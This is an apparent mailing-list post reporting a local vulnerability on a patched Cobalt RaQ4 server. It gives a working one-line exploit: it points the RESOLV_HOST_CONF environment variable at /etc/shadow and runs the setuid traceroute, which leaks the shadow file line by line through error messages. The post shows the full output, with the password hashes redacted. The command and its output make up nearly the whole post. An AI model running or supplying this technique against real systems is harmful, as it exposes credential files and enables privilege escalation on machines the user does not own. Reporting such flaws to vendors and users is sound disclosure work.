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[cobalt-security] local root exploit with glibc2.2 update from cobalt



On a RaQ4 with all the latest patches apply'ed. Including the glibc update i get this:

[root /home]# export RESOLV_HOST_CONF=/etc/shadow && /usr/sbin/traceroute localhost
/etc/shadow: line 1: bad command `root:<my-password>:11325:0:99999:7:::'
/etc/shadow: line 2: bad command `bin:*:11260:0:99999:7:::'
/etc/shadow: line 3: bad command `daemon:*:11260:0:99999:7:::'
/etc/shadow: line 4: bad command `adm:*:11260:0:99999:7:::'
/etc/shadow: line 5: bad command `lp:*:11260:0:99999:7:::'
/etc/shadow: line 6: bad command `sync:*:11260:0:99999:7:::'
/etc/shadow: line 7: bad command `shutdown:*:11260:0:99999:7:::'
/etc/shadow: line 8: bad command `halt:*:11260:0:99999:7:::'
/etc/shadow: line 9: bad command `mail:*:11260:0:99999:7:::'
/etc/shadow: line 10: bad command `news:*:11260:0:99999:7:::'
/etc/shadow: line 11: bad command `uucp:*:11260:0:99999:7:::'
/etc/shadow: line 12: bad command `httpd:*:11260:0:99999:7:::'
/etc/shadow: line 13: bad command `nobody:*:11260:0:99999:7:::'
/etc/shadow: line 14: bad command `pop:!!:11260:0:99999:7:::'
/etc/shadow: line 15: bad command `postgres:!!:11260:0:99999:7:::'
/etc/shadow: line 16: bad command `chiliasp:!!:11260:0:99999:7:::'
/etc/shadow: line 17: bad command `admin:<my-password>:11325:0:99999:7:::'
traceroute to localhost (127.0.0.1), 30 hops max, 38 byte packets
 1  localhost (127.0.0.1)  0.160 ms  0.094 ms  0.073 ms


I wonder what cobalt is going to do about it....